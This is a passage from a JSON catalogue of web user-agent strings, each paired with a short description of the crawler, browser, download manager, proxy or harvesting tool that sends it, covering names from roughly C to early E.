http:\\/\\/www.andrew.cmu.edu\\/~brgordon\\/webbot\\/index.html\"},{\"description\":\"Carnegie Mellon University WebBOT\",\"ua\":\"Carnegie_Mellon_University_WebCrawler http:\\/\\/www.andrew.cmu.edu\\/~brgordon\\/webbot\\/index.html\"},{\"description\":\"Catall.de search & web directory (Germany)\",\"ua\":\"Catall Spider\"},{\"description\":\"UIUCs Cazoodle search based on MetaQuerier\",\"ua\":\"CazoodleBot\\/CazoodleBot-0.1 (CazoodleBot Crawler; http:\\/\\/www.cazoodle.com\\/cazoodlebot; cazoodlebot@cazoodle.com)\"},{\"description\":\"CommonCrawl Foundation search crawler\",\"ua\":\"CCBot\\/1.0 (+http:\\/\\/www.commoncrawl.org\\/bot.html)\"},{\"description\":\"Empyreum Ccubee (Czech) search engine solution\",\"ua\":\"ccubee\\/x.x\"},{\"description\":\"Timewe mobile browser (WAP) simulator (Japan)\",\"ua\":\"CDR\\/1.7.1 Simulator\\/0.7(+http:\\/\\/timewe.net) Profile\\/MIDP-1.0 Configuration\\/CLDC-1.0\"},{\"description\":\"Cisco Content Engine\",\"ua\":\"CE-Preload\"},{\"description\":\"Nordic semantic search engine\",\"ua\":\"CentiverseBot\"},{\"description\":\"Nordic semantic search engine\",\"ua\":\"CentiverseBot - investigator\"},{\"description\":\"Nordic semantic search engine\",\"ua\":\"CentiverseBot\\/3.0 (http:\\/\\/www.centiverse-project.net)\"},{\"description\":\"Floortransformed.com robot (link ckecking ??)\",\"ua\":\"Ceramic Tile Installation Guide (http:\\/\\/www.floorstransformed.com)\"},{\"description\":\"CERN Line Mode Browser\",\"ua\":\"CERN-LineMode\\/2.15\"},{\"description\":\"Cosmix project crawler (204.14.48.x \\/ 38.113.234.xxx)\",\"ua\":\"cfetch\\/1.0\"},{\"description\":\"MaxOS X CoreFoundation CFNetwork API\",\"ua\":\"CFNetwork\\/x.x\"},{\"description\":\"cg-eye CGI checker\",\"ua\":\"cg-eye interactive\"},{\"description\":\"Charon Amiga download manager\",\"ua\":\"Charon\\/1.x (Amiga)\"},{\"description\":\"Chat Catcher blog monitoring robot\",\"ua\":\"Chat Catcher\\/1.0\"},{\"description\":\"Checkbot link validation\",\"ua\":\"Checkbot\\/1.xx LWP\\/5.xx\"},{\"description\":\"Checklinks - Perl link checker\",\"ua\":\"CheckLinks\\/1.x.x\"},{\"description\":\"NTL user agent\",\"ua\":\"CheckUrl\"},{\"description\":\"CheckWeb link validation\",\"ua\":\"CheckWeb\"},{\"description\":\"Chilkat HTTP component user-agent\",\"ua\":\"Chilkat\\/1.0.0 (+http:\\/\\/www.chilkatsoft.com\\/ChilkatHttpUA.asp)\"},{\"description\":\"Unknown spam bot from telekom.com.my (218.111.83.xxx)\",\"ua\":\"China Local Browse 2.6\"},{\"description\":\"Chitika Inc. Blog advertising\",\"ua\":\"Chitika ContentHit 1.0\"},{\"description\":\"Christcentral.com Christcrawler (was www.christcrawler.com)\",\"ua\":\"ChristCRAWLER 2.0\"},{\"description\":\"CHttpClient - C++ class using WinInet\",\"ua\":\"CHttpClient by Open Text Corporation\"},{\"description\":\"CipinetBot -Cipinet Search Engine Web Crawler\",\"ua\":\"CipinetBot (http:\\/\\/www.cipinet.com\\/bot.html)\"},{\"description\":\"Cityreview regional search (Germany) link checking\",\"ua\":\"Cityreview Robot (+http:\\/\\/www.cityreview.org\\/crawler\\/)\"},{\"description\":\"Commision Junction link checking spider\",\"ua\":\"CJ Spider\\/\"},{\"description\":\"CJB Net anonymous socks proxy service (216.194.70.x)\",\"ua\":\"CJB.NET Proxy\"},{\"description\":\"Claria (ex Gator) SearchScout robot (64.152.73.xx)\",\"ua\":\"ClariaBot\\/1.0\"},{\"description\":\"Claymont Search robot\",\"ua\":\"Claymont.com\"},{\"description\":\"Seznam Search (Czech Republic) robot\",\"ua\":\"CloakDetect\\/0.9 (+http:\\/\\/fulltext.seznam.cz\\/)\"},{\"description\":\"Clush clustered search robot\",\"ua\":\"Clushbot\\/2.x (+http:\\/\\/www.clush.com\\/bot.html)\"},{\"description\":\"Clush clustered search robot\",\"ua\":\"Clushbot\\/3.x-BinaryFury (+http:\\/\\/www.clush.com\\/bot.html)\"},{\"description\":\"Clush clustered search robot\",\"ua\":\"Clushbot\\/3.xx-Ajax (+http:\\/\\/www.clush.com\\/bot.html)\"},{\"description\":\"Clush clustered search robot\",\"ua\":\"Clushbot\\/3.xx-Hector (+http:\\/\\/www.clush.com\\/bot.html)\"},{\"description\":\"Clush clustered search robot\",\"ua\":\"Clushbot\\/3.xx-Peleus (+http:\\/\\/www.clush.com\\/bot.html)\"},{\"description\":\"COAST Webmaster - Web management and maintenance software\",\"ua\":\"COAST WebMaster Pro\\/4.x.x.xx (Windows NT)\"},{\"description\":\"Proposed Content-Based Image Tracking System (CoBITS) P2P crawler\",\"ua\":\"CoBITSProbe\"},{\"description\":\"Cocoa del.icio.us (social bookmarks manager) client for Mac OS X\",\"ua\":\"Cocoal.icio.us\\/1.0 (v36) (Mac OS X; http:\\/\\/www.scifihifi.com\\/cocoalicious)\"},{\"description\":\"Cogent Search Bot from Cogent Software Solutions for unknown purposes\",\"ua\":\"Cogentbot\\/1.X (+http:\\/\\/www.cogentsoftwaresolutions.com\\/bot.html)\"},{\"description\":\"Cold Fusion server used by various IPs i.e.: - NetWORLD web catalogue link checking\",\"ua\":\"ColdFusion\"},{\"description\":\"Cold Fusion server used by Bookmark Tracker - online favourites managment\",\"ua\":\"ColdFusion (BookmarkTracker.com)\"},{\"description\":\"WebCollage Syndicator graphics crawler\\/collector\",\"ua\":\"collage.cgi\\/1.xx\"},{\"description\":\"Combine harvesting & indexing robot\",\"ua\":\"combine\\/0.0\"},{\"description\":\"Combine harvesting & indexing robot\",\"ua\":\"Combine\\/2.0 http:\\/\\/combine.it.lth.se\\/\"},{\"description\":\"Combine harvesting & indexing robot\",\"ua\":\"Combine\\/3 http:\\/\\/combine.it.lth.se\\/\"},{\"description\":\"Combine harvesting & indexing robot\",\"ua\":\"Combine\\/x.0\"},{\"description\":\"cometrics Web Content Mining solution - Germany\",\"ua\":\"cometrics-bot, http:\\/\\/www.cometrics.de\"},{\"description\":\"Wildsoft Germany (closed) Internet client system user-agent (was www.oskarweb.de)\",\"ua\":\"Commerce Browser Center\"},{\"description\":\"UCLA Complex Networks Groups Complex Network Analysis\",\"ua\":\"complex_network_group\\/Nutch-0.9-dev (discovering the structure of the world-wide-web; http:\\/\\/cantor.ee.ucla.edu\\/~networks\\/crawl; nimakhaj@gmail.com)\"},{\"description\":\"Hungarian Academy of Sciences data mining search\",\"ua\":\"Computer_and_Automation_Research_Institute_Crawler crawler@ilab.sztaki.hu\"},{\"description\":\"ComRite Chinese Search Engine for Oversea Web Sites (69.248.26.xx)\",\"ua\":\"Comrite\\/0.7.1 (Nutch; http:\\/\\/lucene.apache.org\\/nutch\\/bot.html; nutch-agent@lucene.apache.org)\"},{\"description\":\"unknown\",\"ua\":\"Contact\"},{\"description\":\"Probably E-Mail harvesting robot - same as LMQueueBot\",\"ua\":\"ContactBot\\/0.2\"},{\"description\":\"ContentSmartz e-mail harvesting tools\",\"ua\":\"ContentSmartz\"},{\"description\":\"Internet Explorer versions 4.x and 5 plugin content\",\"ua\":\"contype\"},{\"description\":\"Converas RetrievalWare Internet Spider (63.241.61.x)\",\"ua\":\"Convera Internet Spider V6.x\"},{\"description\":\"Converas RetrievalWare Internet Spider (63.241.61.x)\",\"ua\":\"ConveraCrawler\\/0.2\"},{\"description\":\"Converas RetrievalWare Internet Spider (63.241.61.x)\",\"ua\":\"ConveraCrawler\\/0.9d (+http:\\/\\/www.authoritativeweb.com\\/crawl)\"},{\"description\":\"Converas RetrievalWare Internet Spider (63.241.61.x)\",\"ua\":\"ConveraMultiMediaCrawler\\/0.1 (+http:\\/\\/www.authoritativeweb.com\\/crawl)\"},{\"description\":\"Suchmaschine21 (Germany) robot\",\"ua\":\"CoolBot\"},{\"description\":\"Cooliris photo and video browser\",\"ua\":\"Cooliris\\/1.5 CFNetwork\\/459 Darwin\\/10.0.0d3\"},{\"description\":\"Coral Content Distribution Network\",\"ua\":\"CoralWebPrx\\/0.1.1x (See http:\\/\\/coralcdn.org\\/)\"},{\"description\":\"Xyleme SA France robot\",\"ua\":\"cosmos\\/0.8_(robot@xyleme.com)\"},{\"description\":\"Xyleme SA France robot\",\"ua\":\"cosmos\\/0.9_(robot@xyleme.com)\"},{\"description\":\"Coteo.com - local French directory link checking\",\"ua\":\"CoteoNutchCrawler\\/Nutch-0.9 (info [at] coteo [dot] com)\"},{\"description\":\"Cougarsearch.com robot\",\"ua\":\"CougarSearch\\/0.x (+http:\\/\\/www.cougarsearch.com\\/faq.shtml)\"},{\"description\":\"Covac Arachnid Web Crawler\",\"ua\":\"Covac TexAs Arachbot\"},{\"description\":\"CoverScout for iTunes - CD cover search tool\",\"ua\":\"CoverScout%203\\/3.0.1 CFNetwork\\/339.5 Darwin\\/9.5.0 (i386) (iMac5,1)\"},{\"description\":\"Naver Japan \\/ Korea robot\",\"ua\":\"Cowbot-0.1 (NHN Corp. \\/ +82-2-3011-1954 \\/ nhnbot@naver.com)\"},{\"description\":\"Naver Japan \\/ Korea robot\",\"ua\":\"Cowbot-0.1.x (NHN Corp. \\/ +82-2-3011-1954 \\/ nhnbot@naver.com)\"},{\"description\":\"Converas RetrievalWare Internet Spider\",\"ua\":\"CrawlConvera0.1 (CrawlConvera@yahoo.com)\"},{\"description\":\"unknown robot via Level3.net\",\"ua\":\"Crawler\"},{\"description\":\"Cometsystems Comet Search robot via Findwhat (now Miva)\",\"ua\":\"Crawler (cometsearch@cometsystems.com)\"},{\"description\":\"Crawler.de \\/ Abacho robot\",\"ua\":\"Crawler admin@crawler.de\"},{\"description\":\"Crawler.de \\/ Abacho robot\",\"ua\":\"Crawler V 0.2.x admin@crawler.de\"},{\"description\":\"Alexa crawler\",\"ua\":\"crawler@alexa.com\"},{\"description\":\"Pinpoint WAP search robot\",\"ua\":\"CrawlerBoy Pinpoint.com\"},{\"description\":\"Crawlly Beta search - Germany (72.232.194.2xx)\",\"ua\":\"Crawllybot\\/0.1 (Crawllybot; +http:\\/\\/www.crawlly.com; crawler@crawlly.com)\"},{\"description\":\"Creatice Commons using Nutch open source robot\",\"ua\":\"CreativeCommons\\/0.06-dev (Nutch; http:\\/\\/www.nutch.org\\/docs\\/en\\/bot.html; nutch-agent@lists.sourceforge.net)\"},{\"description\":\"Cricket A100 cell phone browser\",\"ua\":\"Cricket-A100\\/1.0 UP.Browser\\/6.3.0.7 (GUI) MMP\\/2.0\"},{\"description\":\"Croccrawler robot\",\"ua\":\"CrocCrawler vx.3 [en] (http:\\/\\/www.croccrawler.com) (X11; I; Linux 2.0.44 i686)\"},{\"description\":\"Web mining project from CSCI 659 (computer science course) at Indiana Univerity\",\"ua\":\"csci_b659\\/0.13\"},{\"description\":\"CSE HTML Validator for Windows\",\"ua\":\"CSE HTML Validator Professional (http:\\/\\/www.htmlvalidator.com\\/)\"},{\"description\":\"Cuam - IE based browser\",\"ua\":\"Cuam Ver0.050bx\"},{\"description\":\"Cuasar (Spain) music \\/ ringtone search spider\",\"ua\":\"Cuasarbot\\/0.9b http:\\/\\/www.cuasar.com\\/spider_beta\\/ \"},{\"description\":\"Curl file transferring tool\",\"ua\":\"curl\\/7.10.x (i386-redhat-linux-gnu) libcurl\\/7.10.x OpenSSL\\/0.9.7a ipv6 zlib\\/1.1.4\"},{\"description\":\"Curl file transferring tool\",\"ua\":\"curl\\/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)\"},{\"description\":\"Curl file transferring tool\",\"ua\":\"curl\\/7.8 (i686-pc-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6)\"},{\"description\":\"Curl file transferring tool\",\"ua\":\"curl\\/7.9.x (win32) libcurl 7.9.x\"},{\"description\":\"CurryGuide UK link check robot\",\"ua\":\"CurryGuide SiteScan 1.1\"},{\"description\":\"Custo web site spidering tool (link checking)\",\"ua\":\"Custo x.x (www.netwu.com)\"},{\"description\":\"Bisnisseek (was www.bisnisseek.com) robot\",\"ua\":\"Custom Spider www.bisnisseek.com \\/1.0\"},{\"description\":\"Cyberdog Mac Browser (was www.cyberdog.org)\",\"ua\":\"Cyberdog\\/2.0 (Macintosh; 68k)\"},{\"description\":\"CyberPatrol LLC robot for web filtering software\",\"ua\":\"CyberPatrol SiteCat Webbot (http:\\/\\/www.cyberpatrol.com\\/cyberpatrolcrawler.asp)\"},{\"description\":\"CyberSpyder Link Test software\",\"ua\":\"CyberSpyder Link Test\\/2.1.12 (admin@mspennyworth.com)\"},{\"description\":\"Cydral image & site search spider\",\"ua\":\"CydralSpider\\/1.x (Cydral Web Image Search; http:\\/\\/www.cydral.com)\"},{\"description\":\"Cydral image & site search spider\",\"ua\":\"CydralSpider\\/3.0 (Cydral Image Search; http:\\/\\/www.cydral.com)\"},{\"description\":\"Downloadaccelerator download manager\",\"ua\":\"DA 3.5 (www.lidan.com)\"},{\"description\":\"Downloadaccelerator download manager\",\"ua\":\"DA 4.0\"},{\"description\":\"Downloadaccelerator download manager\",\"ua\":\"DA 4.0 (www.downloadaccelerator.com)\"},{\"description\":\"Downloadaccelerator download manager\",\"ua\":\"DA 5.0\"},{\"description\":\"Downloadaccelerator download manager\",\"ua\":\"DA 7.0\"},{\"description\":\"Download Accelerator Plus download manager\",\"ua\":\"DAP x.x\"},{\"description\":\"PowerTCP ActiveX control tool\",\"ua\":\"Dart Communications PowerTCP\"},{\"description\":\"Unknown bot from Kornet Korea (218.149.129.xxx) scans for Perl Awstats\",\"ua\":\"DataCha0s\\/2.0\"},{\"description\":\"Unknown UA looking for Awstats Perl components\",\"ua\":\"DataCha0s\\/2.0\"},{\"description\":\"INFOMINE\\/iVia Scholary Internet Resource Collections robot\",\"ua\":\"DataFountains\\/DMOZ Downloader\"},{\"description\":\"INFOMINE\\/iVia Scholary Internet Resource Collections robot\",\"ua\":\"DataFountains\\/Dmoz Downloader (http:\\/\\/ivia.ucr.edu\\/useragents.shtml)\"},{\"description\":\"INFOMINE\\/iVia Scholary Internet Resource Collections robot\",\"ua\":\"DataFountains\\/DMOZ Feature Vector Corpus Creator (http:\\/\\/ivia.ucr.edu\\/useragents.shtml)\"},{\"description\":\"DataparkSearch open source search engine\",\"ua\":\"DataparkSearch\\/4.47 (+http:\\/\\/dataparksearch.org\\/bot)\"},{\"description\":\"DataparkSearch open source search engine\",\"ua\":\"DataparkSearch\\/4.xx (http:\\/\\/www.dataparksearch.org\\/)\"},{\"description\":\"DataSpear Directory robot (24.109.29.xx)\",\"ua\":\"DataSpear\\/1.0 (Spider; http:\\/\\/www.dataspear.com\\/spider.html; spider@dataspear.com)\"},{\"description\":\"DataSpear Directory robot (24.109.29.xx)\",\"ua\":\"DataSpearSpiderBot\\/0.2 (DataSpear Spider Bot; http:\\/\\/dssb.dataspear.com\\/bot.html; dssb@dataspear.com)\"},{\"description\":\"Sicher-durchs-Netz German security related search (62.75.220.xxx)\",\"ua\":\"DatenBot( http:\\/\\/www.sicher-durchs-netz.de\\/bot.html)\"},{\"description\":\"Wholeweb robot\",\"ua\":\"DaviesBot\\/1.7 (www.wholeweb.net)\"},{\"description\":\"Daypop blog - weblog - online mag search spider\",\"ua\":\"daypopbot\\/0.x\"},{\"description\":\"dbDig search engine\",\"ua\":\"dbDig(http:\\/\\/www.prairielandconsulting.com)\"},{\"description\":\"Some site scanning tool via diff. IPs i.e.: - wanweb.net (208.6.163.xxx) - cox.net (68.4.xxx.xxx)\",\"ua\":\"DBrowse 1.4b\"},{\"description\":\"Some site scanning tool via diff. IPs i.e.: - pacbell.net (67.112.xxx.xxx)\",\"ua\":\"DBrowse 1.4d\"},{\"description\":\"DC-Sakura download manager\",\"ua\":\"DC-Sakura\\/x.xx\"},{\"description\":\"unknown divine\\/Openmarket.com robot\",\"ua\":\"dCSbot\\/1.1\"},{\"description\":\"some (website) downloading tool\",\"ua\":\"DDD\"},{\"description\":\"Unknown user agent\",\"ua\":\"dds explorer v1.0 beta\"},{\"description\":\"Searchengine.com (Germany) submission checking \\/ robot (84.73.57.xx)\",\"ua\":\"de.searchengine.comBot 1.2 (http:\\/\\/de.searchengine.com\\/spider)\"},{\"description\":\"DLC Perl HTTP link checking\",\"ua\":\"DeadLinkCheck\\/0.4.0 libwww-perl\\/5.xx\"},{\"description\":\"Sootle Web Directory deep link checker\",\"ua\":\"Deep Link Calculator v1.0\"},{\"description\":\"deepak-USC\\/ISI robot from USC\\/Information Science Institute\",\"ua\":\"deepak-USC\\/ISI\"},{\"description\":\"Deepindex robot\",\"ua\":\"DeepIndex\"},{\"description\":\"Zetbot search Belgium (213.41.128.xx) using Deepindex robot\",\"ua\":\"DeepIndex ( http:\\/\\/www.zetbot.com )\"},{\"description\":\"Deepindex robot\",\"ua\":\"DeepIndex (www.en.deepindex.com)\"},{\"description\":\"Deepindex robot (via Paragon.net Canada)\",\"ua\":\"DeepIndexer.ca\"},{\"description\":\"del.icio.us picture robot for thumbnail preview via Yahoo\",\"ua\":\"del.icio.us-thumbnails\\/1.0 Mozilla\\/5.0 (compatible; Konqueror\\/3.4; FreeBSD) KHTML\\/3.4.2 (like Gecko)\"},{\"description\":\"DeleGate application level gateway \\/ proxy server\",\"ua\":\"DeleGate\\/9.0.5-fix1\"},{\"description\":\"Some site scanning tool from 217.34.59.xxx (btopenworld.com)\",\"ua\":\"Demo Bot DOT 16b\"},{\"description\":\"Some site scanning tool from 68.154.96.xx (bellsouth.net)\",\"ua\":\"Demo Bot Z 16b\"},{\"description\":\"Denmex Websearch robot\\/link checking\",\"ua\":\"Denmex websearch (http:\\/\\/search.denmex.com)\"},{\"description\":\"DataBecker Bilder Sauger (discontinued) web graphics downloader\",\"ua\":\"Der gro\\u00dfe BilderSauger 2.00u\"},{\"description\":\"Searchspider.com robot (72.245.225.xxx)\",\"ua\":\"dev-spider2.searchpsider.com\\/1.3b\"},{\"description\":\"DevComponents HTMLDocument Class Library for Visual Studio.net\",\"ua\":\"DevComponents.com HtmlDocument Object\"},{\"description\":\"DiaGem Japan web crawler\",\"ua\":\"DiaGem\\/1.1 (http:\\/\\/www.skyrocket.gr.jp\\/diagem.html)\"},{\"description\":\"Claria (ex Gator) SearchScout robot (64.152.73.xx)\",\"ua\":\"Diamond\\/x.0\"},{\"description\":\"Claria (ex Gator) SearchScout robot (64.152.73.xx)\",\"ua\":\"DiamondBot\"},{\"description\":\"Diggit! robot\",\"ua\":\"Digger\\/1.0 JDK\\/1.3.0rc3\"},{\"description\":\"OpenPortal4U robot\",\"ua\":\"DigOut4U\"},{\"description\":\"Findsame.com (site is offline) \\/ Digital-Integrity robot\",\"ua\":\"DIIbot\\/1.2\"},{\"description\":\"Dillo Web Browser\",\"ua\":\"Dillo\\/0.8.5-i18n-misc\"},{\"description\":\"Dillo Web Browser\",\"ua\":\"Dillo\\/0.x.x\"},{\"description\":\"disastrous - a del.icio.us link checker based on Python\",\"ua\":\"disastrous\\/1.0.5 (running with Python 2.5.1; http:\\/\\/www.bortzmeyer.org\\/disastrous.html; archangel77@del.icio.us)\"},{\"description\":\"DISCo Pump offline browser \\/ website ripper\",\"ua\":\"DISCo Pump x.x\"},{\"description\":\"Unkown robot from Discovery Engine Corp.\",\"ua\":\"disco\\/Nutch-0.9 (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)\"},{\"description\":\"Unkown robot from Discovery Engine Corp.\",\"ua\":\"disco\\/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)\"},{\"description\":\"Ditto picture search robot\",\"ua\":\"DittoSpyder\"},{\"description\":\"some download agent\",\"ua\":\"dlman\"},{\"description\":\"Naver Japan \\/ Korea robot\",\"ua\":\"dloader(NaverRobot)\\/1.0\"},{\"description\":\"DNS Right - Online DNS tools\",\"ua\":\"DNSRight.com WebBot Link Ckeck Tool. Report abuse to: dnsr@dnsright.com\"},{\"description\":\"NTT DoCoMo (Japan) robot\",\"ua\":\"DoCoMo\\/1.0\\/Nxxxi\\/c10\"},{\"description\":\"NTT DoCoMo (Japan) robot\",\"ua\":\"DoCoMo\\/1.0\\/Nxxxi\\/c10\\/TB\"},{\"description\":\"Google (216.239.39.x) proxy server\",\"ua\":\"DoCoMo\\/1.0\\/P502i\\/c10 (Google CHTML Proxy\\/1.0)\"},{\"description\":\"NTT DoCoMo (Japan) robot\",\"ua\":\"DoCoMo\\/2.0 P900iV(c100;TB;W24H11) \"},{\"description\":\"NTT DoCoMo (Japan) proxy server (210.136.161.1xx)\",\"ua\":\"DoCoMo\\/2.0 SH901iS(c100;TB;W24H12),gzip(gfe) (via translate.google.com)\"},{\"description\":\"Yahoo Search Japan robot (203.216.197.xxx)\",\"ua\":\"DoCoMo\\/2.0 SH902i (compatible; Y!J-SRD\\/1.0; http:\\/\\/help.yahoo.co.jp\\/help\\/jp\\/search\\/indexing\\/indexing-27.html)\"},{\"description\":\"Yahoo Search Japan robot (203.216.197.xxx)\",\"ua\":\"DoCoMo\\/2.0\\/SO502i (compatible; Y!J-SRD\\/1.0; http:\\/\\/help.yahoo.co.jp\\/help\\/jp\\/search\\/indexing\\/indexing-27.html)\"},{\"description\":\"DocZilla - Mozilla-based SGML\\/XML\\/HTML- browser\",\"ua\":\"DocZilla\\/1.0 (Windows; U; WinNT4.0; en-US; rv:1.0.0) Gecko\\/20020804\"},{\"description\":\"unknown robot from AGMLAB Information Technologies (Information retrieval system ?)\",\"ua\":\"dodgebot\\/experimental\"},{\"description\":\"Donut P - Japanese IE based browser\",\"ua\":\"DonutP; Windows98SE\"},{\"description\":\"Unknown robot from douban search (China) - maybe image crawling\",\"ua\":\"Doubanbot\\/1.0 (bot@douban.com http:\\/\\/www.douban.com)\"},{\"description\":\"Download Demon\\/Netzip download manager\",\"ua\":\"Download Demon\\/3.x.x.x\"},{\"description\":\"Download Druid IE plugin download manager\",\"ua\":\"Download Druid 2.x\"},{\"description\":\"Download Express download manager\",\"ua\":\"Download Express 1.0\"},{\"description\":\"Download Master download manager\",\"ua\":\"Download Master\"},{\"description\":\"Download Ninja download manager (Japan)\",\"ua\":\"Download Ninja 3.0\"},{\"description\":\"Download Wonder download manager\",\"ua\":\"Download Wonder\"},{\"description\":\"Download-Tipp Germany link checking\",\"ua\":\"Download-Tipp Linkcheck (http:\\/\\/download-tipp.de\\/)\"},{\"description\":\"download.exe .NET based downloading tool\",\"ua\":\"Download.exe(1.1) (+http:\\/\\/www.sql-und-xml.de\\/freeware-tools\\/)\"},{\"description\":\"Download Direct download manager\",\"ua\":\"DownloadDirect.1.0\"},{\"description\":\"Dr.WEB online virus scanner\",\"ua\":\"Dr.Web (R) online scanner: http:\\/\\/online.drweb.com\\/\"},{\"description\":\"Dragonfly CMS - Open Source content management system\",\"ua\":\"Dragonfly File Reader\"},{\"description\":\"Drecom Japan (210.233.67.xxx) - Blog search ??\",\"ua\":\"Drecombot\\/1.0 (http:\\/\\/career.drecom.jp\\/bot.html)\"},{\"description\":\"Drupal - open source content management platform\",\"ua\":\"Drupal (+http:\\/\\/drupal.org\\/)\"},{\"description\":\"Some site scanning tool via diff. IPs i.e.: - cox.net (68.5.xxx.xxx) - pacbell.net (64.16x.xxx.xxx)\",\"ua\":\"DSurf15a 01\"},{\"description\":\"Some site scanning tool via diff. IPs i.e.: - cox.net (68.4.xxx.xxx)\",\"ua\":\"DSurf15a 71\"},{\"description\":\"Some site scanning tool via diff. IPs i.e.: - verizon.net (4.47.xxx.xxx)\",\"ua\":\"DSurf15a 81\"},{\"description\":\"Some site scanning tool via diff. IPs i.e.: - eastlink.ca (24.222.xxx.xxx) - cogeco.net (216.221.8x.xxx)\",\"ua\":\"DSurf15a VA\"},{\"description\":\"DTAAgent Java object for data collecting\",\"ua\":\"DTAAgent\"},{\"description\":\"dt Search Spider software\",\"ua\":\"dtSearchSpider\"},{\"description\":\"Fourelle Venturi proxy server\",\"ua\":\"Dual Proxy\"},{\"description\":\"Duck Duck Go search crawler\",\"ua\":\"DuckDuckBot\\/1.0; (+http:\\/\\/duckduckgo.com\\/duckduckbot.html)\"},{\"description\":\"DumbFind.com robot\",\"ua\":\"Dumbot(version 0.1 beta - dumbfind.com)\"},{\"description\":\"DumbFind.com robot\",\"ua\":\"Dumbot(version 0.1 beta - http:\\/\\/www.dumbfind.com\\/dumbot.html)\"},{\"description\":\"DumbFind.com robot\",\"ua\":\"Dumbot(version 0.1 beta)\"},{\"description\":\"Vigiltech e-Sense user research robot (website is offline)\",\"ua\":\"e-sense 1.0 ea(www.vigiltech.com\\/esensedisclaim.html)\"},{\"description\":\"e-Society Project (Japan) crawler (133.9.238.xx)\",\"ua\":\"e-SocietyRobot(http:\\/\\/www.yama.info.waseda.ac.jp\\/~yamana\\/es\\/)\"},{\"description\":\"Global Opto's eApollo Flash based search engine - Taiwan\",\"ua\":\"eApolloBot\\/2.0 (compatible; heritrix\\/2.0.0-SNAPSHOT-20071024.170148 +http:\\/\\/www.eapollo-opto.com)\"},{\"description\":\"Earthcom (Czech Republic) search robot (194.108.39.xx)\",\"ua\":\"EARTHCOM.info\\/1.x [www.earthcom.info]\"},{\"description\":\"Earthcom (Czech Republic) search robot (194.108.39.xx)\",\"ua\":\"EARTHCOM.info\\/1.xbeta [www.earthcom.info]\"},{\"description\":\"Keywen Encyclopedia Bot\",\"ua\":\"EasyDL\\/3.xx\"},{\"description\":\"Keywen Encyclopedia Bot\",\"ua\":\"EasyDL\\/3.xx http:\\/\\/keywen.com\\/Encyclopedia\\/Bot\"},{\"description\":\"Some site scanning tool via diff. IPs i.e.: - swbell.net (65.66.xxx.xxx)\",\"ua\":\"EBrowse 1.4b\"},{\"description\":\"eCatch (now Wysigot) offline browser\",\"ua\":\"eCatch\\/3.0\"},{\"description\":\"Echo.fr robot\",\"ua\":\"EchO!\\/2.0\"},{\"description\":\"Some site scanning tool via diff. IPs i.e.: - cox.net (68.4.xxx.xxx)\",\"ua\":\"Educate Search VxB\"},{\"description\":\"Xdefine text search engine robot - based on Egothor open source crawler\",\"ua\":\"egothor\\/3.0a (+http:\\/\\/www.xdefine.org\\/robot.html)\"},{\"description\":\"Egoto Search robot\",\"ua\":\"EgotoBot\\/4.8 (+http:\\/\\/www.egoto.com\\/about.htm)\"},{\"description\":\"eJupiter searcg robot (206.191.49.xx)\",\"ua\":\"ejupiter.com\"},{\"description\":\"TimelyWeb web page monitoring tool\",\"ua\":\"EldoS TimelyWeb\\/3.x\"},{\"description\":\"Elftales crawler for uChoose theme based search (Germany)\",\"ua\":\"elfbot\\/1.0 (+http:\\/\\/www.uchoose.de\\/crawler\\/elfbot\\/)\"},{\"description\":\"DAUMOA - RSS search robot of Daum\",\"ua\":\"ELI\\/20070402:2.0 (DAUM RSS Robot, Daum Communications Corp.; +http:\\/\\/ws.daum.net\\/aboutkr.html)\"},{\"description\":\"ELinks text mode browser\",\"ua\":\"ELinks (0.x.x; Linux 2.4.20 i586; 132x60)\"},{\"description\":\"ELinks text mode browser\",\"ua\":\"ELinks\\/0.x.x (textmode; NetBSD 1.6.2 sparc; 132x43)\"},{\"description\":\"Sonic E-mail collector\",\"ua\":\"EmailSiphon\"},{\"description\":\"EmailSpider E-mail harvesting  software\",\"ua\":\"EmailSpider\"},{\"description\":\"Trellian EMailWolf E-mail collector\",\"ua\":\"EmailWolf 1.00\"},{\"description\":\"EmeraldShield spam and web filtration services\",\"ua\":\"EmeraldShield.com WebBot\"},{\"description\":\"EmeraldShield spam and web filtration services\",\"ua\":\"EmeraldShield.com WebBot (http:\\/\\/www.emeraldshield.com\\/webbot.aspx)\"},{\"description\":\"Empas search Korea robot (220.95.22x.xxx)\",\"ua\":\"EMPAS_ROBOT\"},{\"description\":\"Enabot - Enaball semantic search project crawler\",\"ua\":\"EnaBot\\/1.x (http:\\/\\/www.enaball.com\\/crawler.html)\"},{\"description\":\"endo - Mac news site and blog aggregator\",\"ua\":\"endo\\/1.0 (Mac OS X; ppc i386; http:\\/\\/kula.jp\\/endo)\"},{\"description\":\"Enfish Personal search tool\",\"ua\":\"Enfish Tracker\"},{\"description\":\"Enterprise Search engine software (64.202.165.xxx)\",\"ua\":\"Enterprise_Search\\/1.0\"},{\"description\":\"Enterprise Search engine software (64.202.165.xxx)\",\"ua\":\"Enterprise_Search\\/1.0.xxx\"},{\"description\":\"Enterprise Search engine software (64.202.165.xxx)\",\"ua\":\"Enterprise_Search\\/1.00.xxx;MSSQL (http:\\/\\/www.innerprise.net\\/es-spider.asp)\"},{\"description\":\"Envolk Web Search robot\",\"ua\":\"envolk\\/1.7 (+http:\\/\\/www.envolk.com\\/envolkspiderinfo.php)\"},{\"description\":\"Envolk Web Search robot\",\"ua\":\"envolk[ITS]spider\\/1.6(+http:\\/\\/www.envolk.com\\/envolkspider.html)\"},{\"description\":\"EroCrawler adult search robot\",\"ua\":\"EroCrawler\"},{\"description\":\"Enterprise Search engine software (64.202.165.xxx)\",\"ua\":\"ES.NET_Crawler\\/2.0 (http:\\/\\/search.innerprise.net\\/)\"},{\"description\":\"ExactSEEK (Jayde Online) robot\",\"ua\":\"eseek-larbin_2.6.2 (crawler@exactseek.com)\"},{\"description\":\"ESI Smart-Spider toolkit\",\"ua\":\"ESISmartSpider\"},{\"description\":\"e-Style ISP search (Russia) robot (217.174.103.xxx)\",\"ua\":\"eStyleSearch 4 (compatible; MSIE 6.0; Windows NT 5.0)\"},{\"description\":\"Some site scanning tool via diff. IPs\",\"ua\":\"ESurf15a 15\"},{\"description\":\"Eurip.com - European Internet Portal robot\",\"ua\":\"EuripBot\\/0.x (+http:\\/\\/www.eurip.com) 